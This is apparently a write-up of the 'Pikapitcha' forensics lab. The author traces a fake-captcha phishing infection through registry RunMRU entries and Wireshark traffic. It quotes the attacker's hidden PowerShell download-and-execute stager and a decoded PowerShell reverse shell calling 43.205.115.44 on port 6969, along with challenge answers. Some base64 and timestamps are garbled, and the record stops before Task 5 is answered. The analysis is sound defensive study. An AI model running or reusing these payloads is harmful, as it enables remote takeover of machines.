

Pikapitcha

Sherlock Scenario

Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.

Task 1:

It is crucial to understand any payloads executed on the system for initial access. Analyzing registry hive for user happy grunwald. What is the full command that was run to download and execute the stager.

I parsed all the Registry Hives with RegRipper with the commands

```
"rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Windows\System32\config\DEFAULT -a > C:\Users\Bubble\Desktop\Registry\DEFAULT.txt"
```

```
rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Windows\System32\config\SYSTEM -a > C:\Users\Bubble\Desktop\Registry\SYSTEM.txt

rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Windows\System32\config\SOFTWARE -a > C:\Users\Bubble\Desktop\Registry\SOFTWARE.txt

rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Windows\System32\config\SECURITY -a > C:\Users\Bubble\Desktop\Registry\SECURITY.txt

rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Windows\System32\config\SAM -a > C:\Users\Bubble\Desktop\Registry\SAM.txt

rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Windows\System32\config\DEFAULT -a > C:\Users\Bubble\Desktop\Registry\DEFAULT.txt

rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Windows\System32\config\NTUSER.DAT -a > C:\Users\Bubble\Desktop\Registry\NTUSER.txt


rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209_alert_mssp_action\C\Users\happy.grunwald\NTUSER.DAT -a > C:\Users\Bubble\Desktop\Registry\NTUSER.txt
```

Then I searched in Notepad++ for RunMRU. This artifact records the commands and file paths that have been executed through the Run dialog box (Windows + R).

Path: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

```
RunMrU
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
LastWrite Time 2024-09-23 05:07:45Z
MRUList = ba
a %tmp%\l
b powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
```

Can be also found by the Registry Explorer

Executable	Opened On
 <pre>powershell -NoP -NonI -W Hidden -Exec Bypass -Command "EX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024/install.ps1')"</pre>	2024-09-23 05:07:45

Answer: powershell -NOP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')

Task 2:

At what time in UTC did the malicious payload execute?

Same like previous task

Answer: 2024-09-23 05:07:45

Task 3:

The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script?

Took me sometime to understand that I just need to copy the command from task 4 into a new PS1 file and check the SHA256

[illegible]

Answer: 579284442094E1A44BEA9CFB7D8D794C8977714F827C97BCB2822A97742914DE

Task 4:
To which port did the reverse shell connect?

I was searching for the answer for task 3 on Wireshark with the IP address 43.205.115.44 but then I first found an HTTP stream

```
1488... 2024-09-23 05:07:47.547413 172.17.79.129 63588 43.205.115.44 80 HTTP 138 GET /office2024install.ps1 HTTP/1.1
```

Inside the TCP Stream I saw a Base64

```
gET /office2024install.ps1 HTTP/1.1
Host: 43.205.115.44
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Mon, 23 Sep 2024 05:07:47 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 23 Sep 2024 04:42:29 GMT
ETag: "54b-62c2c2042f1086"
Accept-Ranges: bytes
Content-Length: 1355
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

powershell -e JABJAGwAaQB1AG4AdAAgAD0AIABoAGUAdwAtAE8AYgBqAGUAYWwB0ACAuUwB5AHMAdAB1AG8ALgB0AGUAdAAuAFMabwBjAGsAZQB0AHMlALgBUAEMAUABDAGwAaQB1AG4AdAAoACIANAAzAC4AMgAwADUALgAxADEANQAUADQAMAAIAicwMNgA5ADYAOQAPADsAJABzAHQAQgB1AGEAbQAQAD0AIAAkaGMAbABpAGUAbgB0AC4ARwB1AHQAuUwB0AHIAZQBhAG0AKAApADsAwWwB1AHKAdAB1AFsAXQBDdACQAYgB5AHQAQZQBzACAPQgADAAALgAUADYANQA1ADMANQBRACUAEwAwAH0AwB3AGGAQBS8AGUAKAAoACQAAQgAD0AIAAkaHMAAdABYAGUAYQBTAC4AUgB1AGEAZAAoACQAYgB5AHQAQZQBzACwAIAAwACwAIAAkaAGIAeQB0AGUAcwAUAEwAZQBwAGCAdABoACKAKQAgACB0AbgB1ACAAHAAPAhSADwAKAGQAYQB0AGEIAA9ACAaKAB0AGUAdwAtAE8AYgBqAGUAYWwB0ACAALgBUAHKAcAB1AE4AYQBTAAGUATABTHAKAcwB0AGUAcwAUAFQAZQB4HQALgBBAFMAQwB1AEKARQBUAGMAbwBkAGAbgBnACKALgBHAUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAQZQBzACwAMAAASACAAATgA7ACQAcwB1AG4AZAB1AHKAdAB1ACAAAPQAgACgAwWB0AGUAEwB0AC44ZQBwAGMAbwBkAGKAbgBnAF0AGAGAEALwBDAEKASQAPAC4ARwB1AHQAQgB5AHQAQZQBzACgAJABzAGUAbgBkAGIAYQBJAGsAMgApADsAJABzAHQAQgB1AG4AZAB1AHKAdAB1ACwMAAASACQAcwB1AG4AZAB1AHKAdAB1AC4ATAB1AG4AZwB0AGGAKQA7ACQAcwB0AHTAZQBhAG0ALgBGAUAdQgBzAGgAKAApAH0AwAKAGMAbABpAGUAbgB0AC4AQwBsAG8AcwB1ACgAKQA=
```

I used CyberChef to decode the Base64

Input

JABJAGwAaQB1AG4AdAAgAD0AIABoAGUAdwAtAE8AYgBqAGUAYWwB0ACAuUwB5AHMAdAB1AG8ALgB0AGUAdAAuAFMabwBjAGsAZQB0AHMlALgBUAEMAUABDAGwAaQB1AG4AdAAoACIANAAzAC4AMgAwADUALgAxADEANQAUADQAMAAIAicwMNgA5ADYAOQAPADsAJABzAHQAQgB1AGEAbQAQAD0AIAAkaGMAbABpAGUAbgB0AC4ARwB1AHQAuUwB0AHIAZQBhAG0AKAApADsAwWwB1AHKAdAB1AFsAXQBDdACQAYgB5AHQAQZQBzACAPQgADAAALgAUADYANQA1ADMANQBRACUAEwAwAH0AwB3AGGAQBS8AGUAKAAoACQAAQgAD0AIAAkaHMAAdABYAGUAYQBTAC4AUgB1AGEAZAAoACQAYgB5AHQAQZQBzACwAIAAwACwAIAAkaAGIAeQB0AGUAcwAUAEwAZQBwAGCAdABoACKAKQAgACB0AbgB1ACAAHAAPAhSADwAKAGQAYQB0AGEIAA9ACAaKAB0AGUAdwAtAE8AYgBqAGUAYWwB0ACAALgBUAHKAcAB1AE4AYQBTAAGUATABTHAKAcwB0AGUAcwAUAFQAZQB4HQALgBBAFMAQwB1AEKARQBUAGMAbwBkAGAbgBnACKALgBHAUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAQZQBzACwAMAAASACAAATgA7ACQAcwB1AG4AZAB1AHKAdAB1ACAAAPQAgACgAwWB0AGUAEwB0AC44ZQBwAGMAbwBkAGKAbgBnAF0AGAGAEALwBDAEKASQAPAC4ARwB1AHQAQgB5AHQAQZQBzACgAJABzAGUAbgBkAGIAYQBJAGsAMgApADsAJABzAHQAQgB1AG4AZAB1AHKAdAB1ACwMAAASACQAcwB1AG4AZAB1AHKAdAB1AC4ATAB1AG4AZwB0AGGAKQA7ACQAcwB0AHTAZQBhAG0ALgBGAUAdQgBzAGgAKAApAH0AwAKAGMAbABpAGUAbgB0AC4AQwBsAG8AcwB1ACgAKQA=

1340 1

Raw Bytes

Output

\$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44",6969);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes, 0, \$i);\$sendback = (iex \$data 2>&1 | Out-String);\$sendback2 = \$sendback + "PS " + (pwd).Path + "> ";\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush();\$client.Close() }

Answer: 6969

Task 5:
For how many seconds was the reverse shell connection established between C2 and the victim's workstation?

I used the filter tcp.port == 6969

No.	Time	Source	SRC Port	Destination	DST Port	Protocol	Length	Info
1489339	2024-09-23 05:07:48.073971	172.17.79.129	63588	43.205.115.44	6969	TCP	60	63589 → 6969 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
1489341	2024-09-23 05:07:48.137918	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [ACK] Seq=8 Ack=1 Win=64240 Len=0 MSS=1460
1489342	2024-09-23 05:07:48.138142	172.17.79.129	63589	43.205.115.44	6969	TCP	60	63589 → 6969 [ACK] Seq=1 Ack=1 Win=64240 Len=0
1800083	2024-09-23 05:08:120.447920	43.205.115.44	6969	172.17.79.129	63589	TCP	61	6969 → 63589 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=7
1800099	2024-09-23 05:08:120.497172	172.17.79.129	63589	43.205.115.44	6969	TCP	60	63589 → 6969 [ACK] Seq=1 Ack=8 Win=64233 Len=0
1801086	2024-09-23 05:08:120.528380	172.17.79.129	63589	43.205.115.44	6969	TCP	124	63589 → 6969 [PSH, ACK] Seq=1 Ack=8 Win=64233 Len=70
1801807	2024-09-23 05:08:120.528380	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [ACK] Seq=8 Ack=71 Win=64240 Len=0
292733	2024-09-23 05:12:02.082001	43.205.115.44	6969	172.17.79.129	63589	TCP	63	6969 → 63589 [PSH, ACK] Seq=8 Ack=71 Win=64240 Len=9
292752	2024-09-23 05:12:02.929146	172.17.79.129	63589	43.205.115.44	6969	TCP	60	63589 → 6969 [ACK] Seq=71 Ack=17 Win=64224 Len=0
293221	2024-09-23 05:12:03.774806	172.17.79.129	63589	43.205.115.44	6969	TCP	101	63589 → 6969 [PSH, ACK] Seq=71 Ack=17 Win=64224 Len=47
293222	2024-09-23 05:12:03.774841	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [ACK] Seq=17 Ack=118 Win=64240 Len=0
294604	2024-09-23 05:12:07.914215	43.205.115.44	6969	172.17.79.129	63589	TCP	63	6969 → 63589 [PSH, ACK] Seq=17 Ack=118 Win=64240 Len=9
294691	2024-09-23 05:12:07.928514	172.17.79.129	63589	43.205.115.44	6969	TCP	443	63589 → 6969 [PSH, ACK] Seq=118 Ack=26 Win=64215 Len=389
294692	2024-09-23 05:12:07.928514	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [ACK] Seq=26 Ack=507 Win=64240 Len=0
331569	2024-09-23 05:12:57.644552	43.205.115.44	6969	172.17.79.129	63589	TCP	135	6969 → 63589 [PSH, ACK] Seq=26 Ack=507 Win=64240 Len=81
331575	2024-09-23 05:12:57.698920	172.17.79.129	63589	43.205.115.44	6969	TCP	60	63589 → 6969 [ACK] Seq=507 Ack=107 Win=64134 Len=0
332196	2024-09-23 05:12:58.237817	172.17.79.129	63589	43.205.115.44	6969	TCP	101	63589 → 6969 [PSH, ACK] Seq=507 Ack=107 Win=64134 Len=47
332197	2024-09-23 05:12:58.237817	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [ACK] Seq=107 Ack=554 Win=64240 Len=0
364891	2024-09-23 05:13:32.376870	43.205.115.44	6969	172.17.79.129	63589	TCP	206	6969 → 63589 [PSH, ACK] Seq=107 Ack=554 Win=64240 Len=152
364904	2024-09-23 05:13:32.410645	172.17.79.129	63589	43.205.115.44	6969	TCP	60	63589 → 6969 [ACK] Seq=554 Ack=259 Win=63982 Len=0
461308	2024-09-23 05:14:19.252695	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [PSH, ACK] Seq=259 Ack=554 Win=64240 Len=1
461309	2024-09-23 05:14:19.306901	172.17.79.129	63589	43.205.115.44	6969	TCP	60	63589 → 6969 [ACK] Seq=554 Ack=260 Win=63981 Len=0
462552	2024-09-23 05:14:19.663180	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [PSH, ACK] Seq=260 Ack=554 Win=64240 Len=1
462728	2024-09-23 05:14:19.711576	172.17.79.129	63589	43.205.115.44	6969	TCP	60	63589 → 6969 [ACK] Seq=554 Ack=261 Win=63980 Len=0
480606	2024-09-23 05:14:31.360696	43.205.115.44	6969	172.17.79.129	63589	TCP	60	6969 → 63589 [FIN, PSH, ACK] Seq=261 Ack=554 Win=64240 Len=0
480663	2024-09-23 05:14:31.484932	43.205.115.44	6969	172.17.79.129	63589	TCP	60	(TCP Retransmission) 6969 → 63589 [FIN, PSH, ACK] Seq=261 Ack=554 Win=64240 Len=0

Then I gave sent this picture to ChatGPT to calculate the seconds for me

